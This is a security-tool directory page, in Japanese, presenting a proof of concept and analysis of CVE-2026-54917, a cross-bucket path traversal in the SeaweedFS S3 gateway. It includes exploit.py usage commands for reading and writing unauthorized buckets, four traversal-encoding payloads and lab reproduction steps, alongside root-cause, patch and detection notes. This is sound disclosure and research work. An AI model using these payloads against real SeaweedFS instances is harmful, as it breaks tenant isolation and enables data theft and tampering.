Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-54917-SeaweedFS-Cross-Bucket-Traversal — CVE-2026-54917 の PoC + 解析 — SeaweedFS S3 ゲートウェイのクロスバケットパストラバーサル (CVSS 10.0, <4.30)。オブジェクトキー内の .. を使用して任意のバケットを読み書き可能。 | Kitploit
ツール/GitHubGitHub/biitts/cve-2026-54917-seaweedfs-cross-bucket-traversal
脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティテストペネトレーションテストクラウドセキュリティ
GitHubbiitts/cve-2026-54917-seaweedfs-cross-bucket-traversal

CVE-2026-54917-SeaweedFS-Cross-Bucket-Traversal

CVE-2026-54917 の PoC + 解析 — SeaweedFS S3 ゲートウェイのクロスバケットパストラバーサル (CVSS 10.0, <4.30)。オブジェクトキー内の .. を使用して任意のバケットを読み書き可能。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
15日前未レビュー

CVE-2026-54917 — SeaweedFS S3 ゲートウェイのクロスバケットパストラバーサル

CVE-2026-54917 の概念実証および技術解説です。これは SeaweedFS の S3 API ゲートウェイにおけるパストラバーサルであり、呼び出し元がその認証情報で許可されているかどうかに関係なく、任意のバケット内のオブジェクトに到達できるようにするものです。

CVECVE-2026-54917
AdvisoryGHSA-w62w-66v9-vvgv
ProductSeaweedFS — S3 API ゲートウェイ (weed s3 および weed server の S3 エンドポイント)
Affected< 4.30
Patched4.30
WeaknessCWE-22 — 制限付きディレクトリのパス名に対する不適切な制限
Severity10.0 Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Status4.29 で脆弱性を確認 · 4.30 で修正済み(エンドツーエンドで検証済み)
root@kitploit:~
├── exploit.py           self-contained exploit (read + write, 4 traversal encodings)
├── README.md            this file
├── ANALYSIS.md          source-level root-cause walkthrough
├── EVIDENCE.txt         raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff      the security-relevant portion of the official fix
└── lab/                 one-command reproduction (docker-compose / setup.sh)

概要

S3 API ルーターは mux.NewRouter().SkipClean(true) で構築されています。パスクリーニングが無効になっているため、リクエストパス内の .. セグメントはルーティング後も残ります。次のようなリクエスト:

root@kitploit:~
GET /bucket-a/../evil-bucket/secret.txt

は mux ルートによって {bucket} = "bucket-a"、{object} = "../evil-bucket/secret.txt" としてマッチします。

ここで2つの処理が食い違います。

  • 認可は mux の {bucket} 変数 — bucket-a — に対して行われ、これは呼び出し元が使用を許可されているバケットです。
  • I/O はオブジェクトキーをフィラーパス (bucketDir(bucket) + "/" + object) に結合し、フィラーがサーバー側で .. を解決するため、読み取り/書き込みは実際には evil-bucket に対して行われます。

結果は古典的な confused deputy 問題です。IAM はあるバケットを検査し、ファイルシステムは別のバケットに対して操作を行います。単一のバケットへの認可を持つプリンシパルは、インスタンス上の他のすべてのバケットのオブジェクトを読み書きできます。

影響

  • enableAuth = false — 認証なしでの直接的なクロスバケット読み取り/書き込み。
  • enableAuth = true — 認可における confused deputy: 認証された任意のプリンシパル(任意のテナント)が、許可されていないバケット境界を越えて読み取り/書き込みを行います。これがここで実証されているケースであり、10.0 / スコープ変更されたスコアの理由です。1つのテナントの認証情報が、他のすべてのテナントの分離を破壊します。

エクスプロイト

exploit.py は Python 標準ライブラリのみを使用します。各リクエストを SigV4 で自ら署名し、リクエスト行をバイト単位でそのまま書き込むため、トラバーサルパスは変更されずにサーバーに到達します。これにより、通常の S3 SDK が書き換えてしまう URL エンコード型の亜種が可能になります。

root@kitploit:~
# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
  --url http://TARGET:8333 \
  --access-key <key> --secret-key <secret> \
  --auth-bucket bucket-a \          # bucket the credential IS allowed to use
  --target-bucket evil-bucket \     # bucket you are NOT allowed to use
  --key secret.txt

# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin

# try a different traversal encoding
python3 exploit.py ... --variant enc-slash        # dotdot | enc-dot | enc-slash | enc-backslash

4つのトラバーサルエンコーディングが実装されており、すべて 4.29 で確認済みです。

再現

root@kitploit:~
cd lab
./setup.sh                       # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
  --access-key TENANTAKEY --secret-key tenantasecret \
  --auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly

TAG=4.30 ./setup.sh              # patched build, same steps -> HTTP 400 InvalidRequest

ラボは IAM (lab/s3.json) を有効にし、admin(フルアクセス)と tenant-a(bucket-a のみに制限)の2つのアイデンティティを用意しています。すべての悪用は tenant-a の認証情報のみを使用します。完全なトランスクリプトは EVIDENCE.txt を参照してください。

根本原因

ANALYSIS.md を参照してください。要約すると、SkipClean(true) がルーティングされたパスに .. を残します。GetBucketAndObject は生の mux 変数を取得します。IAM は {bucket} に対して認可します。toFilerPath は {object}(まだ .. を含む)をフィラーパスに結合し、そこで .. が解決されてバケット境界を越えます。

修正

4.30 (patch-4.30.diff) で修正されました。validateRequestPath ミドルウェアがバケットハンドラーの前に実行され、空であるかトラバーサルセグメントを含む捕捉された {bucket} / {object} 変数を拒否し、400 InvalidRequest を返します。4.30 以降にアップグレードしてください。

検出

  • パスにバケットセグメントとキーの間で /../、/%2e%2e、..%2f、..%5c のいずれかを含む S3 リクエスト。
  • IAM で評価されたバケットが、オブジェクトが最終的に解決されたバケットと異なるアクセスログ。

クレジット

Caio Fabrício — github.com/BiiTts

ツールをダウンロード
varianton the wireeffect
dotdot/bucket-a/../evil-bucket/key標準の aws-cli でも動作
enc-dot/bucket-a/%2e%2e/evil-bucket/key生のリクエストが必要(SDK は再エンコードする)
enc-slash/bucket-a/..%2fevil-bucket/key生のリクエストが必要
enc-backslash/bucket-a/..%5cevil-bucket/keyサーバー側で \ が / に変換される